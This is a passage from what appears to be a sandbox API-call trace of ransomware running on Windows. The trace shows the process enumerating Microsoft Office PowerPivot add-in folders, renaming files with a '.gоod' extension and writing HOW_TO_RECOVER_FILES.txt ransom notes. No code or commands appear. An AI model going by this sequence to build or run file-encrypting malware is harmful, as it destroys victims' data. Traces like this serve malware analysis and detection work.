Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1662bb01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x93f67ed4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10a6)) returned 1 [0254.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0254.598] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\localizedstrings.xml.gоod")) returned 1 [0254.599] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0254.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0254.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0254.600] GetFileType (hFile=0x864) returned 0x1 [0254.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0254.600] GetFileType (hFile=0x864) returned 0x1 [0254.601] WriteFile (in: hFile=0x864, lpBuffer=0x3aa17e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3aa17e8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0254.601] CloseHandle (hObject=0x864) returned 1 [0254.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0254.601] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de", lpFilePart=0x0) returned 0x51 [0254.601] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0254.602] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.602] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0254.602] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51c07e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51c07e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51c07e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0254.603] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86cced8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86cced8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86cced8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0254.603] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf64139b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf64139b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0254.603] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bd443f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bd443f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bd443f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x201030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0254.603] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0254.603] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41f3e26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1e038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0254.603] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fa0ca2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fa0ca2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2fa0ca2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0254.603] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0254.603] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c45b55, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c45b55, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c45b55, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0254.604] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x238ed8d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x238ed8d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e95d39, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0254.604] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0254.604] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0254.604] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb86af90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb86af90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb86af90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0254.604] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0254.604] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2ff666, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2ff666, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0254.604] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0254.604] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0254.605] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0254.605] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0254.605] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0254.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0254.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0254.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0254.605] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de", lpFilePart=0x0) returned 0x51 [0254.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0254.605] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.606] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0254.606] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51c07e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51c07e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51c07e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0254.606] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86cced8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86cced8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86cced8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0254.606] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf64139b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf64139b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0254.606] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bd443f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bd443f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bd443f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x201030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0254.606] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0254.607] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41f3e26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1e038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0254.607] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fa0ca2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fa0ca2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2fa0ca2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0254.607] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0254.607] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c45b55, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c45b55, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c45b55, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0254.607] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x238ed8d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x238ed8d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e95d39, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0254.607] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0254.607] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0254.608] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb86af90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb86af90, ftLastAccessTime.dwHighDateTime=0x1d327e7, 